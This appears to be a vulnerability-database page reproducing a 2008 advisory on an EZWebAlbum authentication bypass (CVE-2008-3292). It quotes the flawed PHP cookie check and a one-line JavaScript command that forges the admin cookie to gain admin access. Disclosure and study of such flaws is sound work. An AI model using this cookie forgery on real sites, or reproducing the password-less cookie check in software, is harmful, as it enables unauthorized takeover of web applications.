Lucene search
+L

EZWebAlbum - Insecure Cookie Handling

🗓️ 21 Jul 2008 00:00:00Reported by Virangar SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

EZWebAlbum suffers from insecure cookie handling. Admin login creates a vulnerable cookie without password, allowing creation of crafted admin cookie for unauthorized access

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-3292
21 Jul 200800:00
circl
cve
CVE
CVE-2008-3292
24 Jul 200818:00
cve
cvelist
Cvelist
CVE-2008-3292
24 Jul 200818:00
cvelist
euvd
EUVD
EUVD-2008-3280
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-3292
24 Jul 200818:41
nvd
prion
Prion
Authentication flaw
24 Jul 200818:41
prion
  ###################################################################################
  #                                                                                 #
  #      ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::....         #
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
-------
DESCRIPTION:
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
some code in index.php:

    if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
    {
        setcookie("photoalbumadmin","1");
        header("Location: index.php");
    }
**********************
now vuln code in constants.inc:
$gotalbumadminrights = False;

if (isset($photoalbumadmin))
{
    $gotalbumadminrights = True;
}//SET ADMIN RIGHTS IF COOKIE FOUND
---
exploit:
javascript:document.cookie = "photoalbumadmin=1; path=/";
-----
now   you can get admin access and manage the cms ;)
[+]Example:add a new page in addpage.php
-------
young iranian h4ck3rz

# milw0rm.com [2008-07-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.4
EPSS0.07321
35